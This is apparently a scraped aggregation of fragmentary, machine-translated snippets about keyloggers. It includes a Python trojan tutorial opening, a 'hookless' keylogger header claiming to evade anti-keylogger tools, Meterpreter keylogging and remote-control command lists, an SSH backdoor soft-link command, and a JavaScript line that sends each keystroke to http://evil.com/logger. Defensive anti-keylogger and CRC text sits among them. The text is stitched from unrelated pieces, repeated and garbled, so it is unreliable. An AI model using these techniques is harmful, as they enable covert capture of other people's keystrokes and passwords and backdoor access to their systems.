c keylogger

lowest bit is set, the key is pressed after the last call to Getasynckeystate ("again"). But you should not rely on the previous (key) behavior3,getkeystate With a virtual key parameter, returns the state of the virtual button, whether it is pressed or bounced, or is the specific trigger state of a key such as an uppercase lock key.If the high-order bit is 1, the key is in the down state, otherwise the up state.If the low-order bit is 1, the key is triggered. For example, the CAPS LOCK key will

Python Programming Simple Trojan Light2015/01/26 10:070x00 PreparationThe content of the article is for study only, not for illegal use!This time we use Python to write a simple Trojan with Keylogger, screenshot, and communication functions. Still choose Sublime Text2 +jedi (Python auto-complete plug-in) to the code, install the configuration JEDI plug-in can be referenced here:/tips/?id=4413First, prepare the dependent libraries, Python hooks and pyt

, if you go out and want to know what others have done with your computer, you can choose "System startup Automatically" and "Hide the Running interface" These two options, The next time the computer restarts, the simple keylogger will faithfully record the information entered by the computer's keyboard in the background. Figure 3. Simple Keyboard Logger startup configuration If you want to see the results of a record, you can use the sh

Original: Http://www.codeproject.com/Articles/529676/How-to-make-keyloggers-life-difficult Download Source antikeylogger.zip-16.5 KB Introduction If you are usually typing a password in a desktop application, it may is that a keylogger spies out your.This is obviously not good. Screen keyboards might is a good solution, but again, there could is a screen captureprogram which watches effortlessly your passwords. Furthermore, screen keyboards are relat

, if you go out and want to know what others have done with your computer, you can choose "System startup Automatically" and "Hide the Running interface" These two options, The next time the computer restarts, the simple keylogger will faithfully record the information entered by the computer's keyboard in the background. Figure 3. Simple Keyboard Logger startup configuration If you want to see the results of a record, you can use the sh

//************************************** ******************************** // Version: V1.0 // Coder: wineggdrop // Date release: NULL // Purpose: hookless keylogger // Test Platform: Win 2 K Pro and Server SP4 // Compiled on: KP 3.0, may compile on VC ++ 6.0 (not test yet) // Limitation: more usage of system resource; may not work on Win9x // Advantage: hookless technique fools anti-keylogger programs //***

protocol flow, can be directly obtained. Telnet/ssh command recognition is a more difficult function because telnet/ssh for the command in the protocol is not labeled, and on the screen other echoes, are a one character, in real development, very easy to find in the actual echo which is the command, which is echo, while the keylogger, command recognition can only be helpful, and can not be logged to the command through the

JS implementation Keylogger compatible with Firefox and ie2009-01-07 11:43Feather Yu Ren reproduced please indicate the source, thank you.This article is my 100th blog article, congratulations!These two days suddenly want to get a JS keylogger, so small study a bit.Four main partsPart I: Key events for the browserPart Two: compatible browsersPart III: Code implementation and optimizationPart IV: summaryPart

using super-eye LAN monitoring software to realize the monitoring of chat record in LAN.First, QQ, Alibaba, Skype chat record monitoring: Log on to the management side of the manager's computer, select an employee side, and enter the controlled end settings. Set the screenshot interval in the screen recording configuration. It is recommended that you select "Press the keyboard carriage return automatically". This can be more efficient to record the chat between the two sides of the cha

based on the data sent. When the receiver receives the data, it also generates a cyclic redundancy check code based on the received data. Finally, the receiver will calculate the received data check code, and directly received check code to compare, if the same is believed that the data in the transmission process is not wrong, if not the same is considered wrong, need to take retransmission or other measures. The field can be set to 1 or 2 bytes, and is calculated from the address, including t

the target host Download file downloads files from the target host. Keyscan_start enable keylogger for remote target host. Keyscan_dump stores the keylogger captured on the target host. Keyscan_stop stops the Keylogger function for the target host. Getprivs as much as possible to get privileges on the target host. Uictl enable Keyboard/mouse takes ov

Main.java:Import Java.awt.BorderLayout;Import Java.awt.GridLayout;Import java.awt.event.ActionEvent;Import Java.awt.event.ActionListener;Import Java.io.BufferedReader;Import Java.io.FileReader;Import java.io.IOException;Import Javax.swing.JButton;Import Javax.swing.JFrame;Import Javax.swing.JLabel;Import Javax.swing.JPanel;Import Javax.swing.JRootPane;Import Javax.swing.JScrollPane;Import Javax.swing.JTextArea;Import javax.swing.WindowConstants;Class Main {public static void Main (final string[]

-TExecutes the cmd command with all available tokens and hides the process.Rev2selfBack to the initial user account that controls the target host.Reg commandInteract, create, delete, query, and so on in the target host registry.Setdesktop numberSwitch to another user interface (the feature is based on those users who are logged on).ScreenshotTo the screen of the target host.Upload fileUploads a file to the target host.Download fileDownload the file from the target host.Keyscan_startTurn on

1. SSH Backdoor classificationSSH Backdoor mode has the following several Soft links SSH Server Wrapper SSH Keylogger 2. Soft link Utilization method [email protected]]# ln-sf/usr/sbin/sshd/tmp/su; /tmp/su-oport=2333; Troubleshooting Methods [email protected]]# Netstat-anopBy developing the PID query process path for port information, the "ll/proc/xxxx" command looks at the path of the program.

I am doing this from the JS event is divided into the following three aspects:Part I: Key events for the browserUsing JS to implement the keylogger, to pay attention to the browser's three types of key events, namely Keydown,keypress and KeyUp, which correspond to onkeydown, onkeypress and onkeyup three event handlers respectively. A typical button generates all three events, followed by Keydown,keypress, followed by the KeyUp when the key is released

JS Keyboard event Full ControlFour main partsPart I: Key events for the browserPart Two: compatible browsersPart III: Code implementation and optimizationPart IV: summaryPart I: Key events for the browserUsing JS to implement the keylogger, to pay attention to the browser's three types of key events, namely Keydown,keypress and KeyUp, which correspond to onkeydown, onkeypress and onkeyup three event handlers respectively. A typical button generates al

Four main partsPart I: Key events for the browserPart Two: compatible browsersPart III: Code implementation and optimizationPart IV: summaryPart I: Key events for the browserUsing JS to implement the keylogger, to pay attention to the browser's three types of key events, namely Keydown,keypress and KeyUp, which correspond to onkeydown, onkeypress and onkeyup three event handlers respectively. A typical button generates all three events, followed by Ke

directory: BPK. dat Bpk.exe Bpkhk. dll Bpkr.exe Inst. dat PK. Bin In addition, an automatic Autorun command is created in the registry: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runbpk = I searched for the names of these files on Google and found some useful information. These files installed on the test machine are a keyboard monitoring program. In particular, this is a commercial version of the software, from Blazing tools, called Perfect

example: keyrecord Tool Function keylogger (e) {document. Images [0]. src = "http://evil.com/logger? Key = "+ E. keycode;}; document. Body. addeventlistener (" keyup ", keylogger, false ); Use a mouse sniffer to steal Keyboard Events A soft keyboard is a common technique to prevent keylogging tools from stealing sensitive input information (such as logon PIN codes for online fi

query operations.Setdesktop numberSwitch to another user interface (the feature is based on those users who are logged on).ScreenshotTo the screen of the target host.Upload fileUploads a file to the target host.Download fileDownload the file from the target host.Keyscan_dump Stores Perhaps the keylogger on the target host.GetprivsGet the privileges on the target host as much as possible.Uietl Enable Keyboard/mouseTake over the target host's keyboard